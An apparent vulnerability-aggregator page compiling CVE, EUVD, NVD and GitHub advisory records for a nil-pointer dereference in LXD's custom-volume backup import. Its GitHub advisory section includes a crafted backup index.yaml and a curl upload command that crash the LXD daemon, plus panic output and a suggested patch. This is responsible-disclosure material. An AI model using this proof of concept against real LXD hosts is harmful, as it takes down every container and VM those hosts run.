Authenticated Denial of Service via Malicious Backup Tarball in LXD

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Nil-pointer dereference in CreateCustomVolumeFromBackup in LXD up to version 6.8 and 5.21 on Linux allows an authenticated user with can_create_storage_volumes permissions to cause a denial of service via a specially crafted custom-volume backup tarball that omits the expires_at snapshot field.

Source published

26 Jun 2026 15:39:04 UTC

Source modified

26 Jun 2026 16:02:11 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Nil-pointer dereference in CreateCustomVolumeFromBackup in LXD up to version 6.8 and 5.21 on Linux allows an authenticated user with can_create_storage_volumes permissions to cause a denial of service via a specially crafted custom-volume backup tarball that omits the expires_at snapshot field.

Source published

Jun 26, 2026, 3:39:04 PM (timezone not stated)

Source modified

Jun 26, 2026, 4:02:11 PM (timezone not stated)

Observed here

6 Nov 2026 20:10:39 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Nil-pointer dereference in CreateCustomVolumeFromBackup in LXD up to version 6.8 and 5.21 on Linux allows an authenticated user with can_create_storage_volumes permissions to cause a denial of service via a specially crafted custom-volume backup tarball that omits the expires_at snapshot field.

Source published

26 Jun 2026 16:16:37 UTC

Source modified

25 Oct 2026 17:10:00 UTC

Observed here

6 Nov 2026 20:10:38 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

## Summary (sibling-field variant of CVE-2026-40197 fix 05bc272) `(*lxdBackend).CreateCustomVolumeFromBackup` in [`lxd/storage/backend_lxd.go`](https://github.com/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go) contains an unguarded `*time.Time` dereference on the `ExpiresAt` field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with `EntitlementCanCreateStorageVolumes` permission on any project can crash the `lxd` daemon by uploading a backup tarball whose `volumes[0].snapshots[*].expires_at` field is omitted. This is a sibling-field variant of the CVE-2026-40197 fix (commit `05bc272`, "Validate snapshots from backup.yaml are non-nil", cherry-picked from incus commit `985a1dedf` / GHSA-r7w7-mmxr-47r9). That fix added `if snap == nil` guards at several consumer sites, but did not guard the adjacent `*snapshot.ExpiresAt` deref at line 8216. Every other consumer of this field in the same file already gates the deref with `if … != nil` (e.g. lines 1010-1011, 1274-1275, 1856-1857, 2454-2455, 5070-5071, 5527-5528). Asymmetric guard is the bug. ## Vulnerable code [`lxd/storage/backend_lxd.go`](https://github.com/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go), `CreateCustomVolumeFromBackup`: ```go // Line 8141-8150 — earliest snapshot validation pass (caches s == nil) for i, snap := range customVol.Snapshots { if snap == nil { return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i) } err = drivers.ValidVolumeName(snap.Name) ... } // Line 8196-8216 — the snapshot DB-create loop for i, s := range customVol.Snapshots { if s == nil { return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i) } snapshot := s ... // Line 8216 — UNGUARDED *time.Time deref: err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, // <-- panics when expires_at omitted in YAML snapVol.ContentType(), true, true) ``` `ExpiresAt` is declared `*time.Time` ([`shared/api/storage_pool_volume_snapshot.go`](https://github.com/canonical/lxd/blob/05bc272/shared/api/storage_pool_volume_snapshot.go)). Every other consumer in the same file already uses the safe pattern (`if … != nil { … = *… }`): | Line | Code | Guarded? | |------|------|----------| | 1010-1011 | rootVol.Snapshots[i].ExpiresAt | YES | | 1274-1275 | rootVol.Snapshots[i].ExpiresAt | YES | | 1558-1559 | srcSnap.ExpiresAt | YES | | 1856-1857 | rootVol.Snapshots[i].ExpiresAt | YES | | 2454-2455 | rootVol.Snapshots[i].ExpiresAt | YES | | 5070-5071 | customVol.Snapshots[i].ExpiresAt | YES | | 5527-5528 | srcSnap.ExpiresAt | YES | | **8216** | **CreateCustomVolumeFromBackup snapshot.ExpiresAt** | **NO** | ## Reach 1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the `EntitlementCanCreateStorageVolumes` entitlement on any project. Same auth gate as CVE-2026-40197. 2. `POST /1.0/storage-pools/<pool>/volumes/custom` with `Content-Type: application/octet-stream` and `X-LXD-name: <name>`. 3. Body is a tar containing [`backup/index.yaml`](https://github.com/canonical/lxd/blob/05bc272/backup/index.yaml) with `type: custom`, `volumes[0]` non-nil, and `volumes[0].snapshots[0]` non-nil but missing `expires_at`. 4. `lxd/storage_volumes.go:storagePoolVolumesPost` -> `backup.GetInfo` parses the yaml -> `pool.CreateCustomVolumeFromBackup` -> the validations at 8141-8150 + 8197 pass (snapshot pointer is non-nil, name is valid) -> `*snapshot.ExpiresAt` on line 8216 panics on the nil `*time.Time`. 5. The Go runtime kills the entire `lxd` daemon process. Repeated POSTs are a persistent denial of service. Minimal [`backup/index.yaml`](https://github.com/canonical/lxd/blob/05bc272/backup/index.yaml): ```yaml name: poc-vol backend: dir pool: default type: custom optimized: false optimized_header: false snapshots: [snap0] config: version: 2 pools: - {name: default, driver: dir, config: {}} volumes: - name: poc-vol type: custom pool: default content_type: filesystem config: {} snapshots: - name: snap0 description: snap0 config: {} # expires_at intentionally omitted ``` ## Proof of concept (end-to-end against running daemon) Bundled in the report: `make_backup.sh` + the resulting 516-byte `poc-vol-lxd.tar.gz`. Tested against `lxd 6.8` (HEAD of `canonical/lxd` at the time of testing, built from source with `make deps && go build -tags libsqlite3 ./lxd`). Daemon started with default `dir` storage pool. ```bash $ curl -s --unix-socket /var/lib/lxd/unix.socket -X POST \ --data-binary @/tmp/poc-vol-lxd.tar.gz \ -H 'Content-Type: application/octet-stream' \ -H 'X-LXD-name: poc-vol' \ http://lxd/1.0/storage-pools/default/volumes/custom {"type":"async","status":"Operation created","status_code":100,...} $ ps -ef | grep lxd | grep -v grep # daemon GONE ``` Daemon panic from `/tmp/lxd.out`: ``` panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x11015e8] goroutine 683 [running]: github.com/canonical/lxd/lxd/storage.(*lxdBackend).CreateCustomVolumeFromBackup(...) github.com/canonical/lxd/lxd/storage/backend_lxd.go:8216 +0xf58 main.createStoragePoolVolumeFromBackup.func6(...) github.com/canonical/lxd/lxd/storage_volumes.go:2879 +0x2a0 github.com/canonical/lxd/lxd/operations.(*Operation).start.func1(...) github.com/canonical/lxd/lxd/operations/operations.go:588 +0x6c created by github.com/canonical/lxd/lxd/operations.(*Operation).start in goroutine 655 github.com/canonical/lxd/lxd/operations/operations.go:541 +0x2b8 ``` Stack frame [`backend_lxd.go:8216`](https://github.com/canonical/lxd/blob/05bc272/backend_lxd.go#L8216) is the literal `*snapshot.ExpiresAt` line. ## Impact - **Severity:** denial of service against the entire `lxd` daemon process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process. - **Privileges required:** any authenticated user with `can_create_storage_volumes` on any project. Not behind the admin tier. - **Network attack surface:** the LXD REST API on `:8443` or the unix socket. - **CWE-476** — Nil-Pointer Dereference. **CVSS estimate:** 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). - **Versions:** confirmed at `lxd 6.8` (HEAD); the same code exists in the v5.21 LTS line as the parent fix `05bc272` was a cherry-pick from incus. ## Suggested fix Mirror the guard pattern already in use elsewhere in this file: ```diff --- a/lxd/storage/backend_lxd.go +++ b/lxd/storage/backend_lxd.go @@ -8210,9 +8210,14 @@ func (b *lxdBackend) CreateCustomVolumeFromBackup(...) error { snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName) snapVol := b.GetNewVolume(drivers.VolumeTypeCustom, drivers.ContentType(customVol.ContentType), snapVolStorageName, snapshot.Config) // Validate config and create database entry for new storage volume. // Strip unsupported config keys (in case the export was made from a different type of storage pool). - err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true) + var snapExpiryDate time.Time + if snapshot.ExpiresAt != nil { + snapExpiryDate = *snapshot.ExpiresAt + } + + err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true) if err != nil { return err } ``` ## Related advisories - `GHSA-r7w7-mmxr-47r9` (CVE-2026-40197) / commit `05bc272` (cherry-pick of incus `985a1dedf`) — parent fix: added `s == nil` checks at multiple consumer sites, missed the `*snapshot.ExpiresAt` deref at line 8216. - `lxc/incus GHSA-xhqx-mgh3-3h7q` (sibling report filed by same reporter against the upstream-equivalent line [`internal/server/storage/backend.go:7731`](https://github.com/canonical/lxd/blob/05bc272/internal/server/storage/backend.go#L7731) in incus). The shape is "incomplete fix on a sibling field of the same struct" — the maintainer walked nil-checks for the iteration-variable pointer but did not walk every adjacent pointer field that the loop body still dereferences. ## Reporter notes Reported via Privately-Reported Vulnerability against `canonical/lxd` by tonghuaroot.

Source published

6 Nov 2026 19:37:14 UTC

Source modified

6 Nov 2026 19:45:05 UTC

Observed here

6 Nov 2026 20:10:26 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Publisher rating · MODERATE